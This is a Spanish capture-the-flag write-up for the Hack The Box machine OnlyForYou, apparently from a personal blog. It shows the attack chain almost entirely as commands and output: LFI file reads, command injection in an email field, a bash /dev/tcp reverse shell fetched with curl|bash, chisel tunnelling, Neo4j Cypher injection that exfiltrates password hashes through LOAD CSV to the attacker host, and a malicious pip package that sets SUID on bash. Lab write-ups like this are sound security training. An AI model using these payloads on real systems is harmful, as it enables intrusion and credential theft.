OnlyForYou



Conocimientos

  • Enumeración Web

  • Análisis de código fuente

  • LFI

  • Python Scripting - Creación de tunel HTTP con Flask

  • Inyección de comandos en una variable

  • Remote Port Forwarding

  • Credenciales por defecto

  • SQLi - Neo4j Database

  • Abuso de Privilegio a nivel de sudoers (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.210 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-26 13:25 GMT
Nmap scan report for 10.10.11.210
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 11.78 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.210 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-26 13:26 GMT
Nmap scan report for 10.10.11.210
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds

Añado el dominio only4you.htb al /etc/hosts

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.11.210
http://10.10.11.210 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.210], RedirectLocation[http://only4you.htb/], Title[301 Moved Permanently], nginx[1.18.0]
http://only4you.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@only4you.htb], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.210], Lightbox, Script, Title[Only4you], nginx[1.18.0]

La página principal se ve así:

En el código fuente aparece un subdominio

curl -s -X GET 'http://only4you.htb/' | grep htb | grep -oP '".*?"' | grep http
"http://beta.only4you.htb"

Lo añado al /etc/hosts

Puedo descargar el código fuente

curl -s -X GET http://beta.only4you.htb/source -o source.zip

La función download() es vulnerable a LFI

def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

Bloquea el Directory Path Traversal, pero se le puede indicar la ruta directamente

curl -s -X POST 'http://beta.only4you.htb/download' -d 'image=/etc/passwd' | grep sh$
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john:/home/john:/bin/bash
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

Leo los sitios configurados para nginx. Únicamente existen los que ya conozco

curl -s -X POST 'http://beta.only4you.htb/download' -d 'image=/etc/nginx/sites-available/default'
server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
	listen 80;
	server_name only4you.htb;

	location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
	}
}

server {
	listen 80;
	server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}

Dispongo del código fuente para beta, pero no para el dominio principal, así que me traigo el app.py

curl -s -X POST 'http://beta.only4you.htb/download' -d 'image=/var/www/only4you.htb/app.py'
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

Creo un script en python que se encargue de formar un proxy mediante el cual poder comunicarme para obtener los archivos del LFI

cat route_proxy.py
#!/usr/bin/python3

from flask import Flask
import requests


burp = {"http": "http://127.0.0.1:8080"}
app = Flask(__name__)


@app.route('/<path:path>')
def index(path):

    burp0_url = "http://beta.only4you.htb:80/download"
    burp0_headers = {"User-Agent": "curl/7.88.1", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}
    burp0_data = {"image": "/etc/passwd"}
    r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

    response = r.text

    return response

if __name__ == '__main__':
    app.run()
python3 route_proxy.py
 * Serving Flask app 'route_proxy'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit

Lo ejecuto y aplico fuzzing para descubrir archivos .py

wfuzz -c -t 10 --hl=133,139 -w /usr/share/wordlists/Seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://127.0.0.1:5000/var/www/only4you.htb/FUZZ.py
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://127.0.0.1:5000/var/www/only4you.htb/FUZZ.py
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                        
=====================================================================

000000734:   200        73 L     194 W      2025 Ch     "form"                                                                                                                                         
000000895:   200        44 L     114 W      1297 Ch     "app" 

Me traigo el form.py

curl -s -X POST http://beta.only4you.htb/download -d 'image=/var/www/only4you.htb/form.py'
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status

La variable domain no está sanitizada y se le está pasando a una función que ejecuta un comando a nivel de sistema

result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

Intercepto la petición al enviar un mensaje

Inyecto un comando en el correo electrónico

POST / HTTP/1.1
Host: only4you.htb
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://only4you.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://only4you.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
name=test&email=test%40test.com|ping+-c+1+10.10.16.40&subject=test&message=test

Recibo la traza ICMP

tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:39:54.447543 IP 10.10.11.210 > 10.10.16.40: ICMP echo request, id 2, seq 1, length 64
15:39:54.457961 IP 10.10.16.40 > 10.10.11.210: ICMP echo reply, id 2, seq 1, length 64

Creo un archivo que se encargue de enviarme una reverse shell y lo comparto con python para interpretarlo

cat index.html
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.40/443 0>&1'
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
name=test&email=test%40test.com|curl+10.10.16.40|bash&subject=test&message=test

Recibo la conexión en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.40] from (UNKNOWN) [10.10.11.210] 59714
bash: cannot set terminal process group (1013): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@only4you:~/only4you.htb$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
www-data@only4you:~/only4you.htb$ export TERM=xterm
www-data@only4you:~/only4you.htb$ export SHELL=bash
www-data@only4you:~/only4you.htb$ stty rows 55 columns 209

Estoy en la máquina víctima

www-data@only4you:~/only4you.htb$ hostname -I
10.10.11.210 dead:beef::250:56ff:feb9:14ca 

El usuario dev es propietario de varios archivos en /opt

www-data@only4you:/$ find \-user dev 2>/dev/null 
./opt/internal_app
./opt/gogs
./home/dev

Interamente, están abiertos los puertos 3000 y 8001

www-data@only4you:/$ ss -nltp
State             Recv-Q            Send-Q                            Local Address:Port                        Peer Address:Port            Process                                                             
LISTEN            0                 4096                                  127.0.0.1:3000                             0.0.0.0:*                                                                                   
LISTEN            0                 2048                                  127.0.0.1:8001                             0.0.0.0:*                                                                                   
LISTEN            0                 70                                    127.0.0.1:33060                            0.0.0.0:*                                                                                   
LISTEN            0                 151                                   127.0.0.1:3306                             0.0.0.0:*                                                                                   
LISTEN            0                 511                                     0.0.0.0:80                               0.0.0.0:*                users:(("nginx",pid=1048,fd=6),("nginx",pid=1047,fd=6))            
LISTEN            0                 4096                              127.0.0.53%lo:53                               0.0.0.0:*                                                                                   
LISTEN            0                 128                                     0.0.0.0:22                               0.0.0.0:*                                                                                   
LISTEN            0                 4096                         [::ffff:127.0.0.1]:7687                                   *:*                                                                                   
LISTEN            0                 50                           [::ffff:127.0.0.1]:7474                                   *:*                                                                                   
LISTEN            0                 128                                        [::]:22                                  [::]:*

Para poder tener conectividad desde mi equipo, utilizo chisel. En mi equipo lo ejecuto como servidor

chisel server -p 1234 --reverse

Desde la máquina víctima como cliente

www-data@only4you:/tmp$ ./chisel client 10.10.16.40:1234 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 &>/dev/null & disown

El puerto 3000 contempla un GOGS

Y el 8001 un panel de inicio de sesión

Las credenciales por defecto son admin:admin. Puedo acceder a la interfaz

A través del LFI, había visto que está neo4j desplegado, por lo que es probable que se esté comunicando a él. En este artículo detallan como efectuar una inyección SQL para este tipo de bases de datos. El campo de búsqueda de trabajadores es vulnerable

Voy a ir introduciendo diferentes payloads en el parámetro por POST search para enumerar y dumpear datos. Primero, listo la versión

'+OR+1%3d1+WITH+1+as+a++CALL+dbms.components()+YIELD+name,+versions,+edition+UNWIND+versions+as+version+LOAD+CSV+FROM+'http%3a//10.10.16.40/%3fversion%3d'+%2b+version+%2b+'%26name%3d'+%2b+name+%2b+'%26edition%3d'+%2b+edition+as+l+RETURN+0+as+_0+//+

La exfiltración es remota, es decir, se tramita una petición a un servidor tercero

nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.16.40] from (UNKNOWN) [10.10.11.210] 42358
GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1
User-Agent: NeoLoadCSV_Java/17.0.6+10-Ubuntu-0ubuntu120.04.1
Host: 10.10.16.40
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Obtengo los labels

'OR+1%3d1+WITH+1+as+a+CALL+db.labels()+yield+label+LOAD+CSV+FROM+'http%3a//10.10.16.40/%3flabel%3d'%2blabel+as+l+RETURN+0+as+_0+//
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [27/May/2023 09:00:48] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [27/May/2023 09:00:49] "GET /?label=employee HTTP/1.1" 200 -

Para el label user, sus propiedades

'+OR+1%3d1+WITH+1+as+a+MATCH+(f%3auser)+UNWIND+keys(f)+as+p+LOAD+CSV+FROM+'http%3a//10.10.16.40%3a80/%3f'+%2b+p+%2b'%3d'%2btoString(f[p])+as+l+RETURN+0+as+_0+//
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [27/May/2023 09:31:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [27/May/2023 09:31:10] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [27/May/2023 09:31:10] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [27/May/2023 09:31:11] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [27/May/2023 09:31:11] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -

Obtengo los valores en texto plano crackeandolos por Rainbow Tables en Crackstation

Me convierto en john

www-data@only4you:~$ su john
Password: 
john@only4you:/var/www$ 

Puedo ver la primera flag

john@only4you:~$ cat user.txt 
aaed739fc6a0af45db6b2b4da2c5cc64

Escalada

Tengo un privilegio a nivel de sudoers

john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

Puedo descargarme cualquier archivo .tar.gz e interpretarlo con pip que se encuentra en el Gogs que corre por el puerto 3000. Me loggeo como john. Tengo acceso a un repositorio

Está vacío

En este artículo explican como es posible abusar de pip download. Clono el repositorio del POC

git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi

Modifico el setup.py para que el asigne el priveligo SUID a la bash

import os

def RunCommand():
    print("Hello, p0wnd!")
    os.system("chmod u+s /bin/bash")

Construyo el paquete

python3 -m build

El comprimido se encuentra dentro de la ruta dist, que posteriormente añado en el repositorio Test. Modifico las propiedades para que sea público

Ejecuto, me convierto en root y puedo ver la segunda flag

john@only4you:/tmp$ sudo pip3 download http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
     - 2.7 kB 11.5 MB/s
  Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
john@only4you:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
john@only4you:/tmp$ bash -p
bash-5.0# cat /root/root.txt
f814331f4fb4156b06f9a254b13e5104